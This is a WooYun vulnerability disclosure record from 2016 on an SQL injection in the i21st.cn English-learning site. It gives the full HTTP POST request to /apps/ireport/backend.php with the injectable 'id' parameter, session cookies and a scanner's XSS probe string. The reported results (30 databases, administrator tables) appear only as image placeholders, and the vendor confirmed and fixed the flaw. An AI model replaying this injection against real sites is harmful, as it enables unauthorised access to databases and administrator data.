当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0217254

漏洞标题:21英语网主站SQL注入(30库/管理员信息)

相关厂商:i21st.cn

漏洞作者: 路人甲

提交时间:2016-06-08 10:02

修复时间:2016-06-13 09:52

公开时间:2016-06-13 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-06-08: 细节已通知厂商并且等待厂商处理中
2016-06-10: 厂商已经确认,细节仅向厂商公开
2016-06-13: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

1、21英语网主站SQL注入,POST包如下:

POST /apps/ireport/backend.php HTTP/1.1
Content-Length: 436
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c0b650be409affd8edd7f0f3b88b2efe; user[username]=111122223; cck_lasttime=1465224513996; cck_count=0; JumpM1=1; Hm_lvt_63a93376491d073b73b9013396ad02a8=1465241656,1465242214,1465248266,1465248299; Hm_lpvt_63a93376491d073b73b9013396ad02a8=1465248299; jiathis_off=yes; HMACCOUNT=41E31F07D68B92EE; panshi_user=fc9b234d7b9778dfbcb28cc38bdddcda_20160606224838_408017cfc7d8e6bf_1; jiathis_uniqid=f77d5a49347c4e2a8af4d41fac67c9b3; JSESSIONID=376201C6E47C0340078AB474CF10CEB8; jiathis_sers=copy%3A1; __utmt=1; __utma=173512187.2049734761.1465226247.1465226247.1465226247.1; __utmb=173512187.1.10.1465226247; __utmc=173512187; __utmz=173512187.1465226247.1.1.utmcsr=acunetix-referrer.com|utmccn=(referral)|utmcmd=referral|utmcct=/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss"); Hm_lvt_727bf79ab8e96a37e6486fccd3f61c22=1465229394; Hm_lpvt_727bf79ab8e96a37e6486fccd3f61c22=1465229394; v="2016060702300600098812700173078978|::"; opxPID=2016060702300600098812700173078978; u=1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|; bshare_off=true; Hm_lvt_4b457aad9f982935835361c80d4884c1=1465241811; Hm_lpvt_4b457aad9f982935835361c80d4884c1=1465241811
Host: www.i21st.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
id=*&op=digireport2&title=%E8%87%AA%E6%81%8B%E7%8B%82%E8%87%AA%E5%8D%91%E8%80%85%E6%9B%B4%E7%88%B1%E4%B8%8A%E7%A4%BE%E4%BA%A4%E7%BD%91%E7%AB%99&userid=-1


2、参数id存在问题:

1.png


3、30个库:

2.png


4、administrator库中包含4个表,涉及管理员信息:

3.png


4.png

漏洞证明:

1、21英语网主站SQL注入,POST包如下:

POST /apps/ireport/backend.php HTTP/1.1
Content-Length: 436
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c0b650be409affd8edd7f0f3b88b2efe; user[username]=111122223; cck_lasttime=1465224513996; cck_count=0; JumpM1=1; Hm_lvt_63a93376491d073b73b9013396ad02a8=1465241656,1465242214,1465248266,1465248299; Hm_lpvt_63a93376491d073b73b9013396ad02a8=1465248299; jiathis_off=yes; HMACCOUNT=41E31F07D68B92EE; panshi_user=fc9b234d7b9778dfbcb28cc38bdddcda_20160606224838_408017cfc7d8e6bf_1; jiathis_uniqid=f77d5a49347c4e2a8af4d41fac67c9b3; JSESSIONID=376201C6E47C0340078AB474CF10CEB8; jiathis_sers=copy%3A1; __utmt=1; __utma=173512187.2049734761.1465226247.1465226247.1465226247.1; __utmb=173512187.1.10.1465226247; __utmc=173512187; __utmz=173512187.1465226247.1.1.utmcsr=acunetix-referrer.com|utmccn=(referral)|utmcmd=referral|utmcct=/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss"); Hm_lvt_727bf79ab8e96a37e6486fccd3f61c22=1465229394; Hm_lpvt_727bf79ab8e96a37e6486fccd3f61c22=1465229394; v="2016060702300600098812700173078978|::"; opxPID=2016060702300600098812700173078978; u=1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|; bshare_off=true; Hm_lvt_4b457aad9f982935835361c80d4884c1=1465241811; Hm_lpvt_4b457aad9f982935835361c80d4884c1=1465241811
Host: www.i21st.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
id=*&op=digireport2&title=%E8%87%AA%E6%81%8B%E7%8B%82%E8%87%AA%E5%8D%91%E8%80%85%E6%9B%B4%E7%88%B1%E4%B8%8A%E7%A4%BE%E4%BA%A4%E7%BD%91%E7%AB%99&userid=-1


2、参数id存在问题:

1.png


3、30个库:

2.png


4、administrator库中包含4个表,涉及管理员信息:

3.png


4.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-06-10 12:09

厂商回复:

已交由开发人员处理,非常感谢

最新状态:

2016-06-13:已经修复


漏洞评价:

评价